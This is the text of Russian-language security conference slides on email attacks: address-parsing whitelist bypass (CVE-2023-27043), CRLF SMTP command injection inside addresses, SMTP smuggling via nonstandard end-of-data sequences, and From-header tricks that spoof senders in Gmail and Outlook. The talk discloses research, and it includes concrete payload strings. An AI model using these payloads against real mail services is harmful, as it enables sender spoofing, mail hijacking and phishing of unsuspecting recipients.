
“Вам письмо:
старые новые 
атаки на почту”

  из DeteAct

  из SolidLab

Елизавета Тишина

Всеволод Кокорин
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@QWQORO

Елизавета Тишина

● Специалист по анализу 
защищённости в DeteAct 

● Тестирую веб-приложения на 
проникновение

● Исследую безопасность в 
Telegram канале HaHacking

● В рамках доклада:
наглядно проэксплуатирую

https://t.me/hahacking
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@SLONSER

Всеволод Кокорин

● Исследователь безопасности из 
SolidLab

● Автор популярного Telegram канала 
Slonser_notes

● Автор 0day исследований на 
blog.slonser.info

● Член одной из сильнейших CTF 
команд мира C4T BuT S4D

● В рамках доклада:
импактно проэксплуатирую

https://t.me/slonser_notes
https://blog.slonser.info


Проблема №1:
некорректный парсинг 
адресов
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Теория — об адресе 
электронной почты

Валидные конструкции
● [ IP адреса ]
● ( Комментарии )
● “ Ура, кавычки! ”

● и многое другое, но при выполнении 
условий…

Draft Standard

Спецификации:

RFC 822

RFC 2822

RFC 5322

Internet Standard

Liza <”test!”(@qwq.oro)@[127.0.0.1](its me)>

Proposed Standard
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Теория — об адресе 
электронной почты

IP адрес комментарий

[                               ]
комментарий

[                               ]

отображаемое имя

[              ]

[                                                                                  ]

Liza <”test!”(@qwq.oro)@[127.0.0.1](its me)>

display-name

local-part (quoted-string)

domain (domain-literal)

address (mailbox (name-addr))
[                                                                           ]angle-addr

локальное имя
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Теория — об адресе 
электронной почты

Liza (@qwq.oro its me)

Liza <”test!”(@qwq.oro)@[127.0.0.1](its me)>

”test!”@[127.0.0.1]
[                  ]E-MAIL ADDRESS[                  ]REAL NAME

ИСПОЛЬЗУЕМЛЮБУЕМСЯ

Корректный парсинг⁄
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Тренировка — Improper Input 
Validation     Whitelist Bypass

Технология:
Python
0 - 2.7.18
3.X - 3.12

Библиотека:
email

CVE:
2023-27043
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Тренировка — Improper Input 
Validation     Whitelist Bypass

● email.utils.parseaddr()
● email.utils.getaddresses() 

Уязвимые функции

● Письмо отправляется на 
полный адрес

Доп. условия
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[                                    ]

любой адрес из белого списка

contact@hahacking.local]<qwqoro@qwqoro.local>
[                                          ]display-name

Тренировка — Improper Input 
Validation     Whitelist Bypass

angle-addr

неполная конструкция

адрес атакующего

parseaddr() парсит его как e-mail address но письмо придёт на angle-addr
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Тренировка — Improper Input 
Validation     Whitelist Bypass

● Удовлетворили условие белого 
списка

● Получили письмо на свой адрес 
вне белого списка

Результат
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Теория — IP в email

Email Address - name@[127.0.0.1]



POSITIVE HACK DAYS FEST 2024

13

Бой — Python is bad…

b'Email Address - slonser@[solidlab>[(\x0b \xc2\xa0\n]'
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Бой — NodeJS old stuff…
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Бой — Don’t use this please…

[{address: 'slonser@[S]\x00\r\n]', name: 'Slonser'}]



POSITIVE HACK DAYS FEST 2024

16

Бой — Try another solution
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Бой — Also doesn’t work…

slonser@[::1>"[:<h1>slonser@gmail.com,русский?]
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Бой — Many bugs

●    Rust libraries

●    Ruby

●    PHP

●     …

It’s just an example, problem also affects:



Проблема №2:
недостаточная фильтрация 
специальных конструкций
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Теория — Общение по SMTP

● HELO / EHLO: 
● QUIT:  
● RSET:  

Команды
Начать соединение

Закрыть соединение
Сбросить транзакцию,

НЕ закрывая соединение

● MAIL FROM: 
● RCPT TO:  
● DATA:  

Конверт / Envelope
Отправитель

Получатель
Начать письмо
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Теория — Общение по SMTP

Заголовки

Тело письма

● From:  
● To:  
● Subject:
● Cc, Bcc

...

Отправитель
Получатель

Тема
Копии

Содержимое письма

● <SP>:
● <CRLF>:  
● <CRLF>.<CRLF>:  

Отделить аргумент
Закрыть команду / строку

Закрыть DATA

Специальные конструкции
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Тренировка — Improper Input 
Validation     CRLF SMTP Injection

Технология:
NodeJS

Библиотека:
smtp-client

MTA:
Postfix
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Нормальное поведение⁄

● email

Входные точки

MAIL FROM

DATA● text

Тренировка — Improper Input 
Validation     CRLF SMTP Injection
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Отсутствие санитизации

Недостаточная санитизация
DATA

MAIL FROM

Тренировка — Improper Input 
Validation     CRLF SMTP Injection
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Тренировка — CRLF SMTP 
Injection     E-mail Spoofing

Эксплуатация⁄

обход санитизации
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Тренировка — CRLF SMTP 
Injection     E-mail Spoofing

● Возможность отправки произвольных 
писем от чужого имени с уязвимого 
почтового сервиса

Результат
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● Возможность перехвата чужого 
письма в рамках соединения

Результат

● Одно соединение на всех
● Почтовый сервер не разрывает 

соединение после ошибки

Доп. условия

Тренировка — CRLF SMTP 
Injection     E-mail Hijacking

ожидается DATA

отправлено
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Теория — [ CRLF ]

Напомним

[                  ]E-MAIL ADDRESS

slonser@[S\x00\r\n]

● Возможность вставки также может 
включать переводы строк
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Бой — C# exploitable?

Условия
● Стандартная библиотека
● Контролируем адрес
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Бой — Simple Payload?

● MailAddress использует фильтр
● Напрямую вставляется в SMTP

Условия
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Бой — Not IP domain?

● MailAddress использует фильтр
● Напрямую вставляется в SMTP

Условия
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Бой — Final?
slonser@[::1

RSET
MAIL FROM: 

<slonser.bugbounty@yandex.ru>
RCPT TO: 

<recipient@yandex.ru>
DATA
From: 

slonser.bugbounty@yandex.ru

Changed
.
QUIT

]

● Вставляем SMTP команды внутрь адреса
● Побеждаем

Условия

mailto:slonser.bugbounty@yandex.ru
mailto:recepient@yandex.ru
mailto:slonser.bugbounty@yandex.ru


Проблема №3:
несогласованность 
участников
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Теория — Компоненты почты
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Теория — Общение по SMTP

● <SP>:
● <CRLF>:  
● <CRLF>.<CRLF>:  

Отделить аргумент
Закрыть команду / строку

Закрыть DATA

Специальные конструкции

Заголовки

Тело письма

● <CR>.<LF>
● <LF>.<LF>
● <CR>.<CR>
● <CRLF>.<LF>
● <LF>.<CRLF>
● <CRLF>\x00.<CRLF>
● <CRLF>.\x00<CRLF>

Тоже иногда закрывают DATA: 

...
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Пример — SMTP Smuggling

SEC Consult: SMTP Smuggling
smtpsmuggling.com

https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
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● Cisco
● Sendmail
● aiosmtpd

● Postfix
● Exim
● SurgeMail

● Microsoft Exchange Online
● GMX

Пример — SMTP Smuggling
“Исходящий” сервер “Принимающий” сервер“Исходящий” сервер

SPF

DKIM

DMARC

STARTTLS
AUTH LOGIN . . .

MAIL FROM: А
RCPT: Б
DATA
Привет!
<LF>.<CRLF>
MAIL FROM: АДМИН
RCPT: Б
DATA
t.me/hahacking 🌹??
.

MAIL FROM: А
RCPT: Б
DATA
Привет!
.

MAIL FROM: АДМИН
RCPT: Б
DATA
t.me/hahacking 🌹??
.

http://t.me/hahacking
http://t.me/hahacking
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Теория — From Header

● From: login@domain.com

● From: <login@domain.com>

● From: "Name" <login@domain.com>

● From: <login@domain.com> (comment)

● From: group: slonser@domain.com, notslonser@domain.com

● Sender: <login@domain.com>
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Бой — Impact
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Бой — Gmail     Yandex, Outlook, 
e.t.c.

From: <spoofed@gmail.com> "spoofed" 
<slonser.bugbounty@gmail.com>
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Бой — Comments

Golang / CVE-2024-24784
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Бой — Grouping nightmare

Example:

From: family: mom@domain.com, 
dad@domain.com, son@domain.com

mailto:mom@domain.com
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Бой — Invalid Group

Example:

<spoofed@domain.com>:<valid@domain.com>

<valid@domain.com>:<spoofed@domain.com>

mailto:spoofed@domain.com
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Бой — Outlook     Gmail

Slonser
<slonser.bugbounty@outlook.com>: spoofed@outlook.com

mailto:bugbounty@outlook.com
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Бой — Gmail     Outlook, Yandex

Slonser 
<spoofed@gmail.com>:<slonser.bugbounty@gmail.com>

mailto:bugbounty@outlook.com
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Ссылки — чтобы узнать чуть 
подробнее

E-mail Injection
hahacking.t.me/38

Email Attacks
blog.slonser.info/posts/email-attacks/

Mail Injection
github.com/qwqoro/Mail-Injection

СТАТЬЯ СТАТЬЯ ДЕМО

https://t.me/hahacking/38
http://blog.slonser.info/posts/email-attacks/
https://github.com/qwqoro/Mail-Injection


Спасибо!
Хорошего дня

  из DeteAct

  из SolidLab

Елизавета Тишина

Всеволод Кокорин


